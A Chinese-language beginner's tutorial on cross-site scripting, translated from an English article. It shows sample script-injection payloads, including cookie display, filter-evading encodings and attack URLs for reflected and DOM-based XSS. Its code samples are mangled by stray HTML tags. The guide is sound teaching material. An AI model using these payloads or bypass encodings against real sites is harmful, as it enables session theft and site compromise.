首页 > Web安全 > 跨站脚本(Xss)-新手指南
2012
12-22

跨站脚本(Xss)-新手指南

在这篇文章中,将解释如何使用跨站脚本(XSS)漏洞,以及如何利用它,本文会对JavaScript和XSS漏洞做一个简短的介绍。

XSS是跨站点脚本(Cross-Site Scripting)的简称,但你可能会问为​​什么不是用CSS代替。这是因为CSS已经被用于级联样式表,因此,使用XSS将防止混淆。

JavaScript基础知识

JavaScript是一种脚本语言,用于在Web应用程序中的一个更动态的用户界面。最主要的是,XSS漏洞,使用户能够执行JavaScript代码的网页的结果。如果一个网站存在XSS漏洞,有时甚至是最简单的代码可以有足够的测试,像这样:

<script>
</span></p>
<p style=”text-align: center;”><span>alert(“Hacked or maybe not”);
</span></p>
<p style=”text-align: center;”><span></script></span>
<span>

这段代码将会弹出一个窗口,另外你还可以使用如下代码:

<script>
</span></p>
<p style=”text-align: center;”><span>document.write(“Maybe next time”);
</span></p>
<p style=”text-align: center;”><span></script></span>
<span>

这段代码将会改写当前打开的网页的内容,“Maybe next time”会被写入到网页上,并且执行成功。

<script>
</span></p>
<p style=”text-align: center;”><span>document.getElementById(“header”).innerHTML=”Ho ho ho ho”;
</span></p>
<p style=”text-align: center;”><span></script></span></p>
<p style=”text-align: center;”><span><p id=”header”>The professional blog</p></span>
<span>

从上面的代码中,你可以看到我们有一个段落标记和JavaScript代码。 JavaScript代码的作用是找到的元素的ID“hearder”,如果发现这样的元素,它会改变其内容。

<script>
</span></p>
<p style=”text-align: center;”><span>document.write(location.href);
</span></p>
<p style=”text-align: center;”><span></script></span>
<span>

上面的代码示例有一个任务,写当前页面的位置。它可能看起来很简单,如果配合一些其他代码或漏洞使用,它也可能是危险的。

<SCRIPT>
</ SPAN></ P>
<p style=”text-align: center;”><SPAN>document.write(location.pathname);
</ SPAN></ P>
<p style=”text-align: center;”><SPAN></ script> </ SPAN>
<SPAN>

上面的代码示例返回当前URL的路径名的位置。例如如果我们有http://localhost/js/code.js,将返回结果“JS / code.js”。

<script>
</span></p>
<p style=”text-align: center;”><span>alert(document.cookie);
</span></p>
<p style=”text-align: center;”><span></script></span>
<span>
使用document.cookie时,您可以打印当前页面的cookie内容。警报窗口,将创建cookies包含的信息,如姓名,内容,主机等。为此,我建议使用的工具,通过工具将会获取当前页面的cookie信息。在这篇文章中,我将使用Cookie Manager+ v1.5.1.1只是告诉你cookies会包含那写内部数据信息。

跨站脚本(Xss)-新手指南 - 第1张  | 阿德马Web安全

1.xss编码

为了绕过一些保护,你可以编码你的XSS脚本。为了这个目的,你可以使用XSS calculator 来避免被过滤,XSS calculator 地址:http://ha.ckers.org/xsscalc.html

因此,如果您尝试编码<SCRIPT>alert(“hacked”)</ script>,你将得到:

HTML格式:

&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;

&#x74;&#x28;&#x27;&#x68;&#x61;&#x63;&#x6B;&#x65;&#x64;&#x27;&#x29;&#x3C;

&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

十进制HTML格式:

&#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116

&#40&#39&#104&#97&#99&#107&#101&#100&#39&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62

Base64编码值:PHNjcmlwdD5hbGVydCgnaGFja2VkJyk8L3NjcmlwdD4=

跨站脚本(Xss)-新手指南 - 第2张  | 阿德马Web安全

编码javascript代码使用 ha.ckers.org xss calculator

这样做是为了绕过一些安全控制的机制。例如,如果您有正则表达式控制在JavaScript中检测到一些特定的字符串,如果“<SCRIPT>”经过编码处理,它不会被检测到。

2.XSS漏洞的类型

反射型xss(Reflected XSS)

反射型xss是指欺骗用户自己去点击链接才触发的XSS,如在论坛发贴处的XSS就是持久型的XSS。非持久性XSS(Reflected xss),是我们通常所说的反射型XSS.它可用于攻击非固定目标未定义的用户数量。例如:

http://www.nxadmin.com/about_JPL/maps.php?departure=<script>alert(“xss”)</script>

持久型/存储型xss (Persistent/stored XSS)

反射型XSS和存储的XSS之间的主要区别是存储的XSS可以保持在一个Web应用程序。这使得它不太可确定受害者,正因为如此,它更危险。它可以存储在博客文章,论坛帖子等,或任何部分,涉及到存储数据的服务器端。

例如:BGS CMS v2.2.1 XSS漏洞就是存储型xss

跨站脚本(Xss)-新手指南 - 第3张  | 阿德马Web安全

基于DOM的XSS

持久型,反射型XSS和基于DOM的XSS之间的差异是,以前的两个漏洞出现在服务器端的代码,而基于DOM的XSS出现客户端(浏览器)。

基于DOM的XSS相关细节:http://www.acunetix.com/blog/web-security-zone/dom-xss/

我们来看一个例子:

document.referrer属性

<html>
<head>
<title>victim page</title>
</head>
<body>
<p>
You were sent here by:<script>document.write(document.referrer);</script>
</p>
</body>
</html>
可以使用以下链接利用此代码:
http://www.attacker.com/domxsspage.html?<script>恶意代码部分</script>

哦了,懒得翻译了,后半部分讲的是XSS ChEF,可以看一下这篇文章,应该是Dis9某黑阔写的:

http://www.2cto.com/Article/201208/150139.html

Incoming search terms:

原文链接:http://resources.infosecinstitute.com/cross-site-scripting-with-chef-guide/
阿德马翻译整理,转载请注明出处

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。